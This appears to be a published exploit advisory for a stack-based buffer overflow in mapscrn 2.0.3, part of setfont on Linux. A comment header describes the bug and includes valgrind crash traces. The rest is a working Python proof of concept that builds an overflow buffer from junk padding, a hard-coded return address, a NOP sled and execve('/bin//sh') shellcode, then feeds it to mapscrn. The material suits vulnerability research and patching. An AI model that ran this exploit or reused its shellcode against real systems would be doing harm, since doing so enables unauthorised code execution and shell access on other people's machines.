Mapscrn 2.0.3 Buffer Overflow

`# Developed using Exploit Pack - http://exploitpack.com -  
<[email protected]>  
# Tested on: GNU/Linux - Kali 2017.1 Release  
#  
# Description: Mapscrn ( Part of setfont ) 2.0.3  
# The mapscrn command loads a user defined output character mapping  
table into the console driver.  
# The console driver may be later put into use user-defined mapping  
table mode by outputting a special  
# escape sequence to the console device.  
#  
# An attacker could exploit this vulnerability to execute arbitrary code in the  
# context of the application. Failed exploit attempts will result in a  
# denial-of-service condition.  
#  
# Architecture: all  
#  
# Vendor homepage: http://ccross.msk.su  
#  
# Source and destination overlap in strcpy(0xbe95fc4c, 0xbe9610df)  
# at 0x4831518: strcpy (vg_replace_strmem.c:506)  
# by 0x10A71F: ??? (in /usr/bin/mapscrn)  
# by 0x10933B: ??? (in /usr/bin/mapscrn)  
# by 0x41414140: ???  
#  
# Invalid read of size 2  
# at 0x488DFCA: getenv (getenv.c:84)  
# by 0x48867AE: guess_category_value (dcigettext.c:1587)  
# by 0x48867AE: __dcigettext (dcigettext.c:667)  
# by 0x48855F5: dcgettext (dcgettext.c:47)  
# by 0x109733: ??? (in /usr/bin/mapscrn)  
# by 0x41414140: ???  
# Address 0x41414141 is not stack'd, malloc'd or (recently) free'd  
#  
# Process terminating with default action of signal 11 (SIGSEGV)  
# Access not within mapped region at address 0x41414141  
# at 0x488DFCA: getenv (getenv.c:84)  
# by 0x48867AE: guess_category_value (dcigettext.c:1587)  
# by 0x48867AE: __dcigettext (dcigettext.c:667)  
# by 0x48855F5: dcgettext (dcgettext.c:47)  
# by 0x109733: ??? (in /usr/bin/mapscrn)  
# by 0x41414140: ???  
  
  
import os,subprocess  
  
junk = "\x41" * 4880 # junk to offset  
nops = "\x90" * 24 # nops  
shellcode = "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"  
esp = "\xe0\xdf\xff\xbf" # Must be changed  
buffer = junk + esp + nops + shellcode # Craft the buffer  
  
try:  
print("[*] Mapscrn Stack-Based Buffer Overflow by Juan Sacco")  
print("[*] Please wait.. running")  
subprocess.call(["mapscrn", buffer])  
except OSError as e:  
if e.errno == os.errno.ENOENT:  
print "Mapscrn not found!"  
else:  
print "Error executing exploit"  
raise  
`